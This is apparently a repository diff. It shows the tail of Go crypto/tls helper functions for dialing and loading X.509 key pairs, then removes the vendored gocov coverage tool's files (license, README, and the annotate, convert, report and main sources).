}
// Dial connects to the given network address using net.Dial
// and then initiates a TLS handshake, returning the resulting
// TLS connection.
// Dial interprets a nil configuration as equivalent to
// the zero configuration; see the documentation of Config
// for the defaults.
func Dial(network, addr string, config *Config) (*Conn, error) {
raddr := addr
c, err := net.Dial(network, raddr)
if err != nil {
return nil, err
}
colonPos := strings.LastIndex(raddr, ":")
if colonPos == -1 {
colonPos = len(raddr)
}
hostname := raddr[:colonPos]
if config == nil {
config = defaultConfig()
}
// If no ServerName is set, infer the ServerName
// from the hostname we're connecting to.
if config.ServerName == "" {
// Make a copy to avoid polluting argument or default.
c := *config
c.ServerName = hostname
config = &c
}
conn := Client(c, config)
if err = conn.Handshake(); err != nil {
c.Close()
return nil, err
}
return conn, nil
}
// LoadX509KeyPair reads and parses a public/private key pair from a pair of
// files. The files must contain PEM encoded data.
func LoadX509KeyPair(certFile, keyFile string) (cert Certificate, err error) {
certPEMBlock, err := ioutil.ReadFile(certFile)
if err != nil {
return
}
keyPEMBlock, err := ioutil.ReadFile(keyFile)
if err != nil {
return
}
return X509KeyPair(certPEMBlock, keyPEMBlock)
}
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (cert Certificate, err error) {
var certDERBlock *pem.Block
for {
certDERBlock, certPEMBlock = pem.Decode(certPEMBlock)
if certDERBlock == nil {
break
}
if certDERBlock.Type == "CERTIFICATE" {
cert.Certificate = append(cert.Certificate, certDERBlock.Bytes)
}
}
if len(cert.Certificate) == 0 {
err = errors.New("crypto/tls: failed to parse certificate PEM data")
return
}
var keyDERBlock *pem.Block
for {
keyDERBlock, keyPEMBlock = pem.Decode(keyPEMBlock)
if keyDERBlock == nil {
err = errors.New("crypto/tls: failed to parse key PEM data")
return
}
if keyDERBlock.Type == "PRIVATE KEY" || strings.HasSuffix(keyDERBlock.Type, " PRIVATE KEY") {
break
}
}
cert.PrivateKey, err = parsePrivateKey(keyDERBlock.Bytes)
if err != nil {
return
}
// We don't need to parse the public key for TLS, but we so do anyway
// to check that it looks sane and matches the private key.
x509Cert, err := x509.ParseCertificate(cert.Certificate[0])
if err != nil {
return
}
switch pub := x509Cert.PublicKey.(type) {
case *rsa.PublicKey:
priv, ok := cert.PrivateKey.(*rsa.PrivateKey)
if !ok {
err = errors.New("crypto/tls: private key type does not match public key type")
return
}
if pub.N.Cmp(priv.N) != 0 {
err = errors.New("crypto/tls: private key does not match public key")
return
}
case *ecdsa.PublicKey:
priv, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
err = errors.New("crypto/tls: private key type does not match public key type")
return
}
if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
err = errors.New("crypto/tls: private key does not match public key")
return
}
default:
err = errors.New("crypto/tls: unknown public key algorithm")
return
}
return
}
// Attempt to parse the given private key DER block. OpenSSL 0.9.8 generates
// PKCS#1 private keys by default, while OpenSSL 1.0.0 generates PKCS#8 keys.
// OpenSSL ecparam generates SEC1 EC private keys for ECDSA. We try all three.
func parsePrivateKey(der []byte) (crypto.PrivateKey, error) {
if key, err := x509.ParsePKCS1PrivateKey(der); err == nil {
return key, nil
}
if key, err := x509.ParsePKCS8PrivateKey(der); err == nil {
switch key := key.(type) {
case *rsa.PrivateKey, *ecdsa.PrivateKey:
return key, nil
default:
return nil, errors.New("crypto/tls: found unknown private key type in PKCS#8 wrapping")
}
}
if key, err := x509.ParseECPrivateKey(der); err == nil {
return key, nil
}
return nil, errors.New("crypto/tls: failed to parse private key")
}
@@ -1,22 +0,0 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
@@ -1 +0,0 @@
language: go
@@ -1,5 +0,0 @@
# List of gocov authors.
Andrew Wilkins <axwalk@gmail.com>
Dave Cheney <dave@cheney.net>
Greg Ward <greg@gerg.ca>
@@ -1,20 +0,0 @@
Copyright (c) 2012 The Gocov Authors.
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -1,60 +0,0 @@
# gocov
Coverage reporting tool for The Go Programming Language
[![Build Status](https://drone.io/github.com/axw/gocov/status.png)](https://drone.io/github.com/axw/gocov/latest)
## Installation
```go get github.com/axw/gocov/gocov```
## Usage
There are currently four gocov commands: ```test```, ```convert```, ```report``` and ```annotate```.
#### gocov test
Running `gocov test [args...]` will run `go test [args...]` with
an implicit `-coverprofile` added, and then output the result of
`gocov convert` with the profile.
#### gocov convert
Running `gocov convert <coverprofile>` will convert a coverage
profile generated by `go tool cover` to gocov's JSON interchange
format. For example:
go test -coverprofile=c.out
gocov convert c.out | gocov annotate -
#### gocov report
Running `gocov report <coverage.json>` will generate a textual
report from the coverage data output by `gocov convert`. It is
assumed that the source code has not changed in between.
Output from ```gocov test``` is printed to stdout so users can
pipe the output to ```gocov report``` to view a summary of the test
coverage, for example: -
gocov test | gocov report
#### gocov annotate
Running `gocov annotate <coverage.json> <package[.receiver].function>`
will generate a source listing of the specified function, annotating
it with coverage information, such as which lines have been missed.
## Related tools
[GoCovGUI](http://github.com/nsf/gocovgui/):
A simple GUI wrapper for the gocov coverage analysis tool.
[gocov-html](https://github.com/matm/gocov-html):
A simple helper tool for generating HTML output from gocov.
[gocov-xml](https://github.com/AlekSi/gocov-xml):
A simple helper tool for generating XML output in Cobertura format for CIs like Jenkins and others from gocov.
[goveralls](https://github.com/mattn/goveralls):
Go integration for Coveralls.io continuous code coverage tracking system.
@@ -1,115 +0,0 @@
// Copyright (c) 2012 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// Package gocov is a code coverage analysis tool for Go.
package gocov
import (
"fmt"
)
type Package struct {
// Name is the canonical path of the package.
Name string
// Functions is a list of functions registered with this package.
Functions []*Function
}
type Function struct {
// Name is the name of the function. If the function has a receiver, the
// name will be of the form T.N, where T is the type and N is the name.
Name string
// File is the full path to the file in which the function is defined.
File string
// Start is the start offset of the function's signature.
Start int
// End is the end offset of the function.
End int
// statements registered with this function.
Statements []*Statement
}
type Statement struct {
// Start is the start offset of the statement.
Start int
// End is the end offset of the statement.
End int
// Reached is the number of times the statement was reached.
Reached int64
}
// Accumulate will accumulate the coverage information from the provided
// Package into this Package.
func (p *Package) Accumulate(p2 *Package) error {
if p.Name != p2.Name {
return fmt.Errorf("Names do not match: %q != %q", p.Name, p2.Name)
}
if len(p.Functions) != len(p2.Functions) {
return fmt.Errorf("Function counts do not match: %d != %d", len(p.Functions), len(p2.Functions))
}
for i, f := range p.Functions {
err := f.Accumulate(p2.Functions[i])
if err != nil {
return err
}
}
return nil
}
// Accumulate will accumulate the coverage information from the provided
// Function into this Function.
func (f *Function) Accumulate(f2 *Function) error {
if f.Name != f2.Name {
return fmt.Errorf("Names do not match: %q != %q", f.Name, f2.Name)
}
if f.File != f2.File {
return fmt.Errorf("Files do not match: %q != %q", f.File, f2.File)
}
if f.Start != f2.Start || f.End != f2.End {
return fmt.Errorf("Source ranges do not match: %d-%d != %d-%d", f.Start, f.End, f2.Start, f2.End)
}
if len(f.Statements) != len(f2.Statements) {
return fmt.Errorf("Number of statements do not match: %d != %d", len(f.Statements), len(f2.Statements))
}
for i, s := range f.Statements {
err := s.Accumulate(f2.Statements[i])
if err != nil {
return err
}
}
return nil
}
// Accumulate will accumulate the coverage information from the provided
// Statement into this Statement.
func (s *Statement) Accumulate(s2 *Statement) error {
if s.Start != s2.Start || s.End != s2.End {
return fmt.Errorf("Source ranges do not match: %d-%d != %d-%d", s.Start, s.End, s2.Start, s2.End)
}
s.Reached += s2.Reached
return nil
}
@@ -1,238 +0,0 @@
// Copyright (c) 2012 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package main
import (
"flag"
"fmt"
"go/token"
"io/ioutil"
"math"
"os"
"regexp"
"sort"
"strings"
"github.com/axw/gocov"
)
const (
hitPrefix = " "
missPrefix = "MISS"
RED = "\x1b[31;1m"
GREEN = "\x1b[32;1m"
NONE = "\x1b[0m"
)
var (
annotateFlags = flag.NewFlagSet("annotate", flag.ExitOnError)
annotateCeilingFlag = annotateFlags.Float64(
"ceiling", 101,
"Annotate only functions whose coverage is less than the specified percentage")
annotateColorFlag = annotateFlags.Bool(
"color", false,
"Differentiate coverage with color")
)
type packageList []*gocov.Package
type functionList []*gocov.Function
func (l packageList) Len() int {
return len(l)
}
func (l packageList) Less(i, j int) bool {
return l[i].Name < l[j].Name
}
func (l packageList) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}
func (l functionList) Len() int {
return len(l)
}
func (l functionList) Less(i, j int) bool {
return l[i].Name < l[j].Name
}
func (l functionList) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}
type annotator struct {
fset *token.FileSet
files map[string]*token.File
}
func percentReached(fn *gocov.Function) float64 {
if len(fn.Statements) == 0 {
return 0
}
var reached int
for _, stmt := range fn.Statements {
if stmt.Reached > 0 {
reached++
}
}
return float64(reached) / float64(len(fn.Statements)) * 100
}
func annotateSource() (rc int) {
annotateFlags.Parse(os.Args[2:])
if annotateFlags.NArg() == 0 {
fmt.Fprintf(os.Stderr, "missing coverage file\n")
return 1
}
var data []byte
var err error
if filename := annotateFlags.Arg(0); filename == "-" {
data, err = ioutil.ReadAll(os.Stdin)
} else {
data, err = ioutil.ReadFile(filename)
}
if err != nil {
fmt.Fprintf(os.Stderr, "failed to read coverage file: %s\n", err)
return 1
}
packages, err := unmarshalJson(data)
if err != nil {
fmt.Fprintf(
os.Stderr, "failed to unmarshal coverage data: %s\n", err)
return 1
}
// Sort packages, functions by name.
sort.Sort(packageList(packages))
for _, pkg := range packages {
sort.Sort(functionList(pkg.Functions))
}
a := &annotator{}
a.fset = token.NewFileSet()
a.files = make(map[string]*token.File)
var regexps []*regexp.Regexp
for _, arg := range annotateFlags.Args()[1:] {
re, err := regexp.Compile(arg)
if err != nil {
fmt.Fprintf(os.Stderr, "warning: failed to compile %q as a regular expression, ignoring\n", arg)
} else {
regexps = append(regexps, re)
}
}
if len(regexps) == 0 {
regexps = append(regexps, regexp.MustCompile("."))
}
for _, pkg := range packages {
for _, fn := range pkg.Functions {
if percentReached(fn) >= *annotateCeilingFlag {
continue
}
name := pkg.Name + "/" + fn.Name
for _, regexp := range regexps {
if regexp.FindStringIndex(name) != nil {
err := a.printFunctionSource(fn)
if err != nil {
fmt.Fprintf(os.Stderr, "warning: failed to annotate function %q\n", name)
}
break
}
}
}
}
return
}
func (a *annotator) printFunctionSource(fn *gocov.Function) error {
// Load the file for line information. Probably overkill, maybe
// just compute the lines from offsets in here.
setContent := false
file := a.files[fn.File]
if file == nil {
info, err := os.Stat(fn.File)
if err != nil {
return err
}
file = a.fset.AddFile(fn.File, a.fset.Base(), int(info.Size()))
setContent = true
}
data, err := ioutil.ReadFile(fn.File)
if err != nil {
return err
}
if setContent {
// This processes the content and records line number info.
file.SetLinesForContent(data)
}
statements := fn.Statements[:]
lineno := file.Line(file.Pos(fn.Start))
lines := strings.Split(string(data)[fn.Start:fn.End], "\n")
linenoWidth := int(math.Log10(float64(lineno+len(lines)))) + 1
fmt.Println()
for i, line := range lines {
// Go through statements one at a time, seeing if we've hit
// them or not.
//
// The prefix approach isn't perfect, as it doesn't
// distinguish multiple statements per line. It'll have to
// do for now. We could do fancy ANSI colouring later.
lineno := lineno + i
statementFound := false
hit := false
for j := 0; j < len(statements); j++ {
start := file.Line(file.Pos(statements[j].Start))
// FIXME instrumentation no longer records statements
// in line order, as function literals are processed
// after the body of a function. If/when that's changed,
// we can go back to checking just the first statement
// in each loop.
if start == lineno {
statementFound = true
if !hit && statements[j].Reached > 0 {
hit = true
}
statements = append(statements[:j], statements[j+1:]...)
}
}
if *annotateColorFlag {
color := NONE
if statementFound && !hit {
color = RED
}
fmt.Printf("%s%*d \t%s%s\n", color, linenoWidth, lineno, line, NONE)
} else {
hitmiss := hitPrefix
if statementFound && !hit {
hitmiss = missPrefix
}
fmt.Printf("%*d %s\t%s\n", linenoWidth, lineno, hitmiss, line)
}
}
fmt.Println()
return nil
}
@@ -1,316 +0,0 @@
// Copyright (c) 2013 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package main
import (
"fmt"
"go/ast"
"go/build"
"go/parser"
"go/token"
"path/filepath"
"code.google.com/p/go.tools/cover"
"github.com/axw/gocov"
"github.com/axw/gocov/gocovutil"
)
func convertProfiles(filenames ...string) error {
var ps gocovutil.Packages
for i := range filenames {
converter := converter{
packages: make(map[string]*gocov.Package),
}
profiles, err := cover.ParseProfiles(filenames[i])
if err != nil {
return err
}
for _, p := range profiles {
if err := converter.convertProfile(p); err != nil {
return err
}
}
for _, pkg := range converter.packages {
ps.AddPackage(pkg)
}
}
bytes, err := marshalJson(ps)
if err != nil {
return err
}
fmt.Println(string(bytes))
return nil
}
type converter struct {
packages map[string]*gocov.Package
}
// wrapper for gocov.Statement
type statement struct {
*gocov.Statement
*StmtExtent
}
func (c *converter) convertProfile(p *cover.Profile) error {
file, pkgpath, err := findFile(p.FileName)
if err != nil {
return err
}
pkg := c.packages[pkgpath]
if pkg == nil {
pkg = &gocov.Package{Name: pkgpath}
c.packages[pkgpath] = pkg
}
// Find function and statement extents; create corresponding
// gocov.Functions and gocov.Statements, and keep a separate
// slice of gocov.Statements so we can match them with profile
// blocks.
extents, err := findFuncs(file)
if err != nil {
return err
}
var stmts []statement
for _, fe := range extents {
f := &gocov.Function{
Name: fe.name,
File: file,
Start: fe.startOffset,
End: fe.endOffset,
}
for _, se := range fe.stmts {
s := statement{
Statement: &gocov.Statement{Start: se.startOffset, End: se.endOffset},
StmtExtent: se,
}
f.Statements = append(f.Statements, s.Statement)
stmts = append(stmts, s)
}
pkg.Functions = append(pkg.Functions, f)
}
// For each profile block in the file, find the statement(s) it
// covers and increment the Reached field(s).
blocks := p.Blocks
for len(stmts) > 0 {
s := stmts[0]
for i, b := range blocks {
if b.StartLine > s.endLine || (b.StartLine == s.endLine && b.StartCol >= s.endCol) {
// Past the end of the statement
stmts = stmts[1:]
blocks = blocks[i:]
break
}
if b.EndLine < s.startLine || (b.EndLine == s.startLine && b.EndCol <= s.startCol) {
// Before the beginning of the statement
continue
}
s.Reached += int64(b.Count)
stmts = stmts[1:]
break
}
}
return nil
}
// findFile finds the location of the named file in GOROOT, GOPATH etc.
func findFile(file string) (filename string, pkgpath string, err error) {
dir, file := filepath.Split(file)
if dir != "" {
dir = dir[:len(dir)-1] // drop trailing '/'
}
pkg, err := build.Import(dir, ".", build.FindOnly)
if err != nil {
return "", "", fmt.Errorf("can't find %q: %v", file, err)
}
return filepath.Join(pkg.Dir, file), pkg.ImportPath, nil
}
// findFuncs parses the file and returns a slice of FuncExtent descriptors.
func findFuncs(name string) ([]*FuncExtent, error) {
fset := token.NewFileSet()
parsedFile, err := parser.ParseFile(fset, name, nil, 0)
if err != nil {
return nil, err
}
visitor := &FuncVisitor{fset: fset}
ast.Walk(visitor, parsedFile)
return visitor.funcs, nil
}
type extent struct {
startOffset int
startLine int
startCol int
endOffset int
endLine int
endCol int
}
// FuncExtent describes a function's extent in the source by file and position.
type FuncExtent struct {
extent
name string
stmts []*StmtExtent
}
// StmtExtent describes a statements's extent in the source by file and position.
type StmtExtent extent
// FuncVisitor implements the visitor that builds the function position list for a file.
type FuncVisitor struct {
fset *token.FileSet
funcs []*FuncExtent
}
// Visit implements the ast.Visitor interface.
func (v *FuncVisitor) Visit(node ast.Node) ast.Visitor {
var body *ast.BlockStmt
var name string
switch n := node.(type) {
case *ast.FuncLit:
body = n.Body
case *ast.FuncDecl:
body = n.Body
name = n.Name.Name
// Function name is prepended with "T." if there is a receiver, where
// T is the type of the receiver, dereferenced if it is a pointer.
if n.Recv != nil {
field := n.Recv.List[0]
switch recv := field.Type.(type) {
case *ast.StarExpr:
name = recv.X.(*ast.Ident).Name + "." + name
case *ast.Ident:
name = recv.Name + "." + name
}
}
}
if body != nil {
start := v.fset.Position(node.Pos())
end := v.fset.Position(node.End())
if name == "" {
name = fmt.Sprintf("@%d:%d", start.Line, start.Column)
}
fe := &FuncExtent{
name: name,
extent: extent{
startOffset: start.Offset,
startLine: start.Line,
startCol: start.Column,
endOffset: end.Offset,
endLine: end.Line,
endCol: end.Column,
},
}
v.funcs = append(v.funcs, fe)
sv := StmtVisitor{fset: v.fset, function: fe}
sv.VisitStmt(body)
}
return v
}
type StmtVisitor struct {
fset *token.FileSet
function *FuncExtent
}
func (v *StmtVisitor) VisitStmt(s ast.Stmt) {
var statements *[]ast.Stmt
switch s := s.(type) {
case *ast.BlockStmt:
statements = &s.List
case *ast.CaseClause:
statements = &s.Body
case *ast.CommClause:
statements = &s.Body
case *ast.ForStmt:
if s.Init != nil {
v.VisitStmt(s.Init)
}
if s.Post != nil {
v.VisitStmt(s.Post)
}
v.VisitStmt(s.Body)
case *ast.IfStmt:
if s.Init != nil {
v.VisitStmt(s.Init)
}
v.VisitStmt(s.Body)
if s.Else != nil {
// Code copied from go.tools/cmd/cover, to deal with "if x {} else if y {}"
const backupToElse = token.Pos(len("else ")) // The AST doesn't remember the else location. We can make an accurate guess.
switch stmt := s.Else.(type) {
case *ast.IfStmt:
block := &ast.BlockStmt{
Lbrace: stmt.If - backupToElse, // So the covered part looks like it starts at the "else".
List: []ast.Stmt{stmt},
Rbrace: stmt.End(),
}
s.Else = block
case *ast.BlockStmt:
stmt.Lbrace -= backupToElse // So the block looks like it starts at the "else".
default:
panic("unexpected node type in if")
}
v.VisitStmt(s.Else)
}
case *ast.LabeledStmt:
v.VisitStmt(s.Stmt)
case *ast.RangeStmt:
v.VisitStmt(s.Body)
case *ast.SelectStmt:
v.VisitStmt(s.Body)
case *ast.SwitchStmt:
if s.Init != nil {
v.VisitStmt(s.Init)
}
v.VisitStmt(s.Body)
case *ast.TypeSwitchStmt:
if s.Init != nil {
v.VisitStmt(s.Init)
}
v.VisitStmt(s.Assign)
v.VisitStmt(s.Body)
}
if statements == nil {
return
}
for i := 0; i < len(*statements); i++ {
s := (*statements)[i]
switch s.(type) {
case *ast.CaseClause, *ast.CommClause, *ast.BlockStmt:
break
default:
start, end := v.fset.Position(s.Pos()), v.fset.Position(s.End())
se := &StmtExtent{
startOffset: start.Offset,
startLine: start.Line,
startCol: start.Column,
endOffset: end.Offset,
endLine: end.Line,
endCol: end.Column,
}
v.function.stmts = append(v.function.stmts, se)
}
v.VisitStmt(s)
}
}
@@ -1,90 +0,0 @@
// Copyright (c) 2012 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"github.com/axw/gocov"
)
func usage() {
fmt.Fprintf(os.Stderr, "Usage:\n\n\tgocov command [arguments]\n\n")
fmt.Fprintf(os.Stderr, "The commands are:\n\n")
fmt.Fprintf(os.Stderr, "\tannotate\n")
fmt.Fprintf(os.Stderr, "\tconvert\n")
fmt.Fprintf(os.Stderr, "\treport\n")
fmt.Fprintf(os.Stderr, "\ttest\n")
fmt.Fprintf(os.Stderr, "\n")
flag.PrintDefaults()
os.Exit(2)
}
func marshalJson(packages []*gocov.Package) ([]byte, error) {
return json.Marshal(struct{ Packages []*gocov.Package }{packages})
}
func unmarshalJson(data []byte) (packages []*gocov.Package, err error) {
result := &struct{ Packages []*gocov.Package }{}
err = json.Unmarshal(data, result)
if err == nil {
packages = result.Packages
}
return
}
func main() {
flag.Usage = usage
flag.Parse()
command := ""
if flag.NArg() > 0 {
command = flag.Arg(0)
switch command {
case "convert":
if flag.NArg() <= 1 {
fmt.Fprintln(os.Stderr, "missing cover profile")
os.Exit(1)
}
if err := convertProfiles(flag.Args()[1:]...); err != nil {
fmt.Fprintln(os.Stderr, "error: %v", err)
os.Exit(1)
}
case "annotate":
os.Exit(annotateSource())
case "report":
os.Exit(reportCoverage())
case "test":
if err := runTests(flag.Args()[1:]); err != nil {
fmt.Fprintln(os.Stderr, "error: %v", err)
os.Exit(1)
}
default:
fmt.Fprintf(os.Stderr, "Unknown command: %#q\n\n", command)
usage()
}
} else {
usage()
}
}
@@ -1,193 +0,0 @@
// Copyright (c) 2012 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package main
import (
"flag"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"github.com/axw/gocov"
)
type report struct {
packages []*gocov.Package
}
type reportFunction struct {
*gocov.Function
statementsReached int
}
type reportFunctionList []reportFunction
func (l reportFunctionList) Len() int {
return len(l)
}
// TODO make sort method configurable?
func (l reportFunctionList) Less(i, j int) bool {
var left, right float64
if len(l[i].Statements) > 0 {
left = float64(l[i].statementsReached) / float64(len(l[i].Statements))
}
if len(l[j].Statements) > 0 {
right = float64(l[j].statementsReached) / float64(len(l[j].Statements))
}
if left < right {
return true
}
return left == right && len(l[i].Statements) < len(l[j].Statements)
}
func (l reportFunctionList) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}
type reverse struct {
sort.Interface
}
func (r reverse) Less(i, j int) bool {
return r.Interface.Less(j, i)
}
// NewReport creates a new report.
func newReport() (r *report) {
r = &report{}
return
}
// AddPackage adds a package's coverage information to the report.
func (r *report) addPackage(p *gocov.Package) {
i := sort.Search(len(r.packages), func(i int) bool {
return r.packages[i].Name >= p.Name
})
if i < len(r.packages) && r.packages[i].Name == p.Name {
r.packages[i].Accumulate(p)
} else {
head := r.packages[:i]
tail := append([]*gocov.Package{p}, r.packages[i:]...)
r.packages = append(head, tail...)
}
}
// Clear clears the coverage information from the report.
func (r *report) clear() {
r.packages = nil
}
// PrintReport prints a coverage report to the given writer.
func printReport(w io.Writer, r *report) {
w = tabwriter.NewWriter(w, 0, 8, 0, '\t', 0)
//fmt.Fprintln(w, "Package\tFunction\tStatements\t")
//fmt.Fprintln(w, "-------\t--------\t---------\t")
for _, pkg := range r.packages {
printPackage(w, pkg)
fmt.Fprintln(w)
}
}
func printPackage(w io.Writer, pkg *gocov.Package) {
functions := make(reportFunctionList, len(pkg.Functions))
for i, fn := range pkg.Functions {
reached := 0
for _, stmt := range fn.Statements {
if stmt.Reached > 0 {
reached++
}
}
functions[i] = reportFunction{fn, reached}
}
sort.Sort(reverse{functions})
var longestFunctionName int
var totalStatements, totalReached int
for _, fn := range functions {
reached := fn.statementsReached
totalStatements += len(fn.Statements)
totalReached += reached
var stmtPercent float64 = 0
if len(fn.Statements) > 0 {
stmtPercent = float64(reached) / float64(len(fn.Statements)) * 100
}
if len(fn.Name) > longestFunctionName {
longestFunctionName = len(fn.Name)
}
fmt.Fprintf(w, "%s/%s\t %s\t %.2f%% (%d/%d)\n",
pkg.Name, filepath.Base(fn.File), fn.Name, stmtPercent,
reached, len(fn.Statements))
}
var funcPercent float64
if totalStatements > 0 {
funcPercent = float64(totalReached) / float64(totalStatements) * 100
}
summaryLine := strings.Repeat("-", longestFunctionName)
fmt.Fprintf(w, "%s\t %s\t %.2f%% (%d/%d)\n",
pkg.Name, summaryLine, funcPercent,
totalReached, totalStatements)
}
func reportCoverage() (rc int) {
files := make([]*os.File, 0, 1)
if flag.NArg() > 1 {
for _, name := range flag.Args()[1:] {
file, err := os.Open(name)
if err != nil {
fmt.Fprintf(os.Stderr, "failed to open file (%s): %s\n", name, err)
} else {
files = append(files, file)
}
}
} else {
files = append(files, os.Stdin)
}
report := newReport()
for _, file := range files {
data, err := ioutil.ReadAll(file)
if err != nil {
fmt.Fprintf(os.Stderr, "failed to read coverage file: %s\n", err)
return 1
}
packages, err := unmarshalJson(data)
if err != nil {
fmt.Fprintf(
os.Stderr, "failed to unmarshal coverage data: %s\n", err)
return 1
}
for _, pkg := range packages {
report.addPackage(pkg)
}
if file != os.Stdin {
file.Close()
}
}
fmt.Println()
printReport(os.Stdout, report)
return 0
}
@@ -1,47 +0,0 @@
// Copyright (c) 2013 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
